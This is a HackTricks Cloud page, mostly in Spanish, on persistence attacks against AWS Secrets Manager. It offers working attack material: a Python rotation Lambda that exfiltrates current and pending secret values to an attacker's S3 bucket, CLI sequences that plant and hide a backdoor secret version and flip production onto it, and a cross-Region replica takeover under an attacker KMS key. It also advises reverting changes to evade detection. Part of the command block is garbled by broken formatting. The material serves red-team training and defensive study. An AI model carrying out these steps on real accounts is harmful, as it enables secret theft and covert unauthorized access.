AWS - Secrets Manager Persistencia
Tip
Aprende y practica Hacking en AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP:HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Hacking en Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Apoya a HackTricks
- Revisa los planes de suscripción!
- Únete al 💬 grupo de Discord o al grupo de telegram o síguenos en Twitter 🐦 @hacktricks_live.
- Comparte trucos de hacking enviando PRs a los HackTricks y HackTricks Cloud repositorios de github.
Secrets Manager
Para más información, consulta:
Mediante políticas de recursos
Es posible conceder acceso a secretos a cuentas externas mediante políticas de recursos. Revisa la Secrets Manager Privesc page para más información. Ten en cuenta que para acceder a un secreto, la cuenta externa también necesita acceso a la KMS key que cifra el secreto.
Mediante Secrets Rotate Lambda
Para rotar secretos automáticamente se invoca una Lambda configurada. Si un atacante pudiera cambiar el código, podría directamente exfiltrate el nuevo secreto hacia sí mismo.
Así podría verse el código de la lambda para tal acción:
import boto3
def rotate_secrets(event, context):
# Create a Secrets Manager client
client = boto3.client('secretsmanager')
# Retrieve the current secret value
secret_value = client.get_secret_value(SecretId='example_secret_id')['SecretString']
# Rotate the secret by updating its value
new_secret_value = rotate_secret(secret_value)
client.update_secret(SecretId='example_secret_id', SecretString=new_secret_value)
def rotate_secret(secret_value):
# Perform the rotation logic here, e.g., generate a new password
# Example: Generate a new password
new_secret_value = generate_password()
return new_secret_value
def generate_password():
# Example: Generate a random password using the secrets module
import secrets
import string
password = ''.join(secrets.choice(string.ascii_letters + string.digits) for i in range(16))
return password
Reemplazar la Lambda de rotación por una función controlada por el atacante mediante RotateSecret
Abusar de secretsmanager:RotateSecret para volver a enlazar un secreto a una rotation Lambda controlada por el atacante y forzar una rotación inmediata. La función maliciosa exfiltra las versiones del secreto (AWSCURRENT/AWSPENDING) durante los pasos de rotación (createSecret/setSecret/testSecret/finishSecret) hacia un destino del atacante (p. ej., S3 o HTTP externo).
-
Requisitos
-
Permisos:
secretsmanager:RotateSecret,lambda:InvokeFunctionsobre la Lambda del atacante,iam:CreateRole/PassRole/PutRolePolicy(o AttachRolePolicy) para aprovisionar el role de ejecución de la Lambda consecretsmanager:GetSecretValuey preferiblementesecretsmanager:PutSecretValue,secretsmanager:UpdateSecretVersionStage(para que la rotación siga funcionando), KMSkms:Decryptpara la key KMS del secreto, ys3:PutObject(o egress saliente) para la exfiltración. -
Un Secret target id (
SecretId) con rotación habilitada o la capacidad de habilitar rotación. -
Impacto
-
El atacante obtiene el/los valor(es) del secreto sin modificar el código legítimo de rotación. Solo se cambia la configuración de rotación para apuntar a la Lambda del atacante. Si no se detecta, las rotaciones futuras programadas seguirán invocando la función del atacante.
-
Pasos del ataque (CLI)
- Prepare attacker sink and Lambda role
- Crear un bucket S3 para la exfiltración y un role de ejecución confiable por Lambda con permisos para leer el secreto y escribir en S3 (más logs/KMS según sea necesario).
- Deploy attacker Lambda that on each rotation step fetches the secret value(s) and writes them to S3. Minimal rotation logic can just copy AWSCURRENT to AWSPENDING and promote it in finishSecret to keep the service healthy.
- Reasignar la rotación y desencadenar
aws secretsmanager rotate-secret --secret-id <SECRET_ARN> --rotation-lambda-arn <ATTACKER_LAMBDA_ARN> --rotation-rules '{"ScheduleExpression":"rate(10 days)"}' --rotate-immediately
- Verificar la exfiltración listando el prefijo S3 para ese secreto e inspeccionando los artefactos JSON.
- (Opcional) Restaurar la Lambda de rotación original para reducir la detección.
- Ejemplo de Lambda atacante (Python) que exfiltra a S3
- Entorno:
EXFIL_BUCKET=<bucket> - Handler:
lambda_function.lambda_handler
import boto3, json, os, base64, datetime
s3 = boto3.client('s3')
sm = boto3.client('secretsmanager')
BUCKET = os.environ['EXFIL_BUCKET']
def write_s3(key, data):
s3.put_object(Bucket=BUCKET, Key=key, Body=json.dumps(data).encode('utf-8'), ContentType='application/json')
def lambda_handler(event, context):
sid, token, step = event['SecretId'], event['ClientRequestToken'], event['Step']
# Exfil both stages best-effort
def getv(**kw):
try:
r = sm.get_secret_value(**kw)
return {'SecretString': r.get('SecretString')} if 'SecretString' in r else {'SecretBinary': base64.b64encode(r['SecretBinary']).decode('utf-8')}
except Exception as e:
return {'error': str(e)}
current = getv(SecretId=sid, VersionStage='AWSCURRENT')
pending = getv(SecretId=sid, VersionStage='AWSPENDING')
key = f"{sid.replace(':','_')}/{step}/{token}.json"
write_s3(key, {'time': datetime.datetime.utcnow().strftime('%Y-%m-%dT%H:%M:%SZ'), 'step': step, 'secret_id': sid, 'token': token, 'current': current, 'pending': pending})
# Minimal rotation (optional): copy current->pending and promote in finishSecret
# (Implement createSecret/finishSecret using PutSecretValue and UpdateSecretVersionStage)
Version Stage Hijacking para persistencia encubierta (etapa personalizada + cambio rápido de AWSCURRENT)
Abusar de Secrets Manager version staging labels para plantar una versión de secret controlada por el atacante y mantenerla oculta bajo una etapa personalizada (por ejemplo, ATTACKER) mientras la producción sigue usando el AWSCURRENT original. En cualquier momento, mover AWSCURRENT a la versión del atacante para envenenar workloads dependientes, y luego restaurarlo para minimizar la detección. Esto proporciona persistencia de puerta trasera sigilosa y manipulación rápida en el momento de uso sin cambiar el nombre del secret ni la configuración de rotación.
-
Requisitos
-
Permisos:
secretsmanager:PutSecretValue,secretsmanager:UpdateSecretVersionStage,secretsmanager:DescribeSecret,secretsmanager:ListSecretVersionIds,secretsmanager:GetSecretValue(para verificación) -
ID del secret objetivo en la Región.
-
Impacto
-
Mantener una versión oculta y controlada por el atacante de un secret y voltear atómicamente
AWSCURRENThacia ella bajo demanda, influyendo en cualquier consumidor que resuelva el mismo nombre de secret. El cambio y la rápida reversión reducen la probabilidad de detección mientras permiten la compromisión en el momento de uso. -
Pasos del ataque (CLI)
-
Preparación
-
export SECRET_ID=<target secret id or arn>
Comandos CLI
```bash # 1) Capture current production version id (the one holding AWSCURRENT) CUR=$(aws secretsmanager list-secret-version-ids \ --secret-id "$SECRET_ID" \ --query "Versions[?contains(VersionStages, AWSCURRENT)].VersionId | [0]" \ --output text)2) Create attacker version with known value (this will temporarily move AWSCURRENT)
BACKTOK=$(uuidgen)
aws secretsmanager put-secret-value
–secret-id “$SECRET_ID”
–client-request-token “$BACKTOK”
–secret-string {backdoor:hunter2!}
3) Restore production and hide attacker version under custom stage
aws secretsmanager update-secret-version-stage
–secret-id “$SECRET_ID”
–version-stage AWSCURRENT
–move-to-version-id “$CUR”
–remove-from-version-id “$BACKTOK”
aws secretsmanager update-secret-version-stage
–secret-id “$SECRET_ID”
–version-stage ATTACKER
–move-to-version-id “$BACKTOK”
Verify stages
aws secretsmanager list-secret-version-ids –secret-id “$SECRET_ID” –include-deprecated
4) On-demand flip to the attacker’s value and revert quickly
aws secretsmanager update-secret-version-stage
–secret-id “$SECRET_ID”
–version-stage AWSCURRENT
–move-to-version-id “$BACKTOK”
–remove-from-version-id “$CUR”
Validate served plaintext now equals the attacker payload
aws secretsmanager get-secret-value –secret-id “$SECRET_ID” –query SecretString –output text
Revert to reduce detection
aws secretsmanager update-secret-version-stage
–secret-id “$SECRET_ID”
–version-stage AWSCURRENT
–move-to-version-id “$CUR”
–remove-from-version-id “$BACKTOK”
</details>
- Notas
- Cuando suministras `--client-request-token`, Secrets Manager lo usa como el `VersionId`. Agregar una nueva versión sin establecer explícitamente `--version-stages` mueve `AWSCURRENT` a la nueva versión por defecto y marca la anterior como `AWSPREVIOUS`.
### Cross-Region Replica Promotion Backdoor (replicate ➜ promote ➜ permissive policy)
- Abusa de la replicación multi-Region de Secrets Manager para crear una réplica de un secret objetivo en una Region menos monitorizada, cifrarla con una clave KMS controlada por el atacante en esa Region, luego promover la réplica a un standalone secret y adjuntar una permissive resource policy que otorgue al atacante read access. El secret original en la Region primaria permanece sin cambios, proporcionando un acceso duradero y sigiloso al valor del secret a través de la réplica promovida, mientras se evaden las restricciones de KMS/policy en la primaria.
- Requisitos
- Permisos: `secretsmanager:ReplicateSecretToRegions`, `secretsmanager:StopReplicationToReplica`, `secretsmanager:PutResourcePolicy`, `secretsmanager:GetResourcePolicy`, `secretsmanager:DescribeSecret`.
- En la Region de réplica: `kms:CreateKey`, `kms:CreateAlias`, `kms:CreateGrant` (o `kms:PutKeyPolicy`) para permitir al attacker principal `kms:Decrypt`.
- Un attacker principal (user/role) para recibir read access al secret promovido.
- Impacto
- Ruta de acceso cross-Region persistente al valor del secret mediante una réplica standalone bajo un KMS CMK controlado por el atacante y una permissive resource policy. El secret primario en la Region original permanece intacto.
- Ataque (CLI)
- Variables
```bash
export R1=<primary-region> # e.g., us-east-1
export R2=<replica-region> # e.g., us-west-2
export SECRET_ID=<secret name or ARN in R1>
export ACCOUNT_ID=$(aws sts get-caller-identity --query Account --output text)
export ATTACKER_ARN=<arn:aws:iam::<ACCOUNT_ID>:user/<attacker> or role>
- Crear clave KMS controlada por el atacante en la Región réplica
cat > /tmp/kms_policy.json <<'JSON'
{"Version":"2012-10-17","Statement":[
{"Sid":"EnableRoot","Effect":"Allow","Principal":{"AWS":"arn:aws:iam::${ACCOUNT_ID}:root"},"Action":"kms:*","Resource":"*"}
]}
JSON
KMS_KEY_ID=$(aws kms create-key --region "$R2" --description "Attacker CMK for replica" --policy file:///tmp/kms_policy.json \
--query KeyMetadata.KeyId --output text)
aws kms create-alias --region "$R2" --alias-name alias/attacker-sm --target-key-id "$KMS_KEY_ID"
# Allow attacker to decrypt via a grant (or use PutKeyPolicy to add the principal)
aws kms create-grant --region "$R2" --key-id "$KMS_KEY_ID" --grantee-principal "$ATTACKER_ARN" --operations Decrypt DescribeKey
- Replicar el secreto a R2 usando la KMS key del attacker
aws secretsmanager replicate-secret-to-regions --region "$R1" --secret-id "$SECRET_ID" \
--add-replica-regions Region=$R2,KmsKeyId=alias/attacker-sm --force-overwrite-replica-secret
aws secretsmanager describe-secret --region "$R1" --secret-id "$SECRET_ID" | jq '.ReplicationStatus'
- Promover la réplica a una instancia independiente en R2
# Use the secret name (same across Regions)
NAME=$(aws secretsmanager describe-secret --region "$R1" --secret-id "$SECRET_ID" --query Name --output text)
aws secretsmanager stop-replication-to-replica --region "$R2" --secret-id "$NAME"
aws secretsmanager describe-secret --region "$R2" --secret-id "$NAME"
- Adjuntar una resource policy permisiva al standalone secret en R2
cat > /tmp/replica_policy.json <<JSON
{"Version":"2012-10-17","Statement":[{"Sid":"AttackerRead","Effect":"Allow","Principal":{"AWS":"${ATTACKER_ARN}"},"Action":["secretsmanager:GetSecretValue"],"Resource":"*"}]}
JSON
aws secretsmanager put-resource-policy --region "$R2" --secret-id "$NAME" --resource-policy file:///tmp/replica_policy.json --block-public-policy
aws secretsmanager get-resource-policy --region "$R2" --secret-id "$NAME"
- Leer el secret desde el attacker principal en R2
# Configure attacker credentials and read
aws secretsmanager get-secret-value --region "$R2" --secret-id "$NAME" --query SecretString --output text
Tip
Aprende y practica Hacking en AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP:HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Hacking en Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Apoya a HackTricks
- Revisa los planes de suscripción!
- Únete al 💬 grupo de Discord o al grupo de telegram o síguenos en Twitter 🐦 @hacktricks_live.
- Comparte trucos de hacking enviando PRs a los HackTricks y HackTricks Cloud repositorios de github.
HackTricks Cloud

